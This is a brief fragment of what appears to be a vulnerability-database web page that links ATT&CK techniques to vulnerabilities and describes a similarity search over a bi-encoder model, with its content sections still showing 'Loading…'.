Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…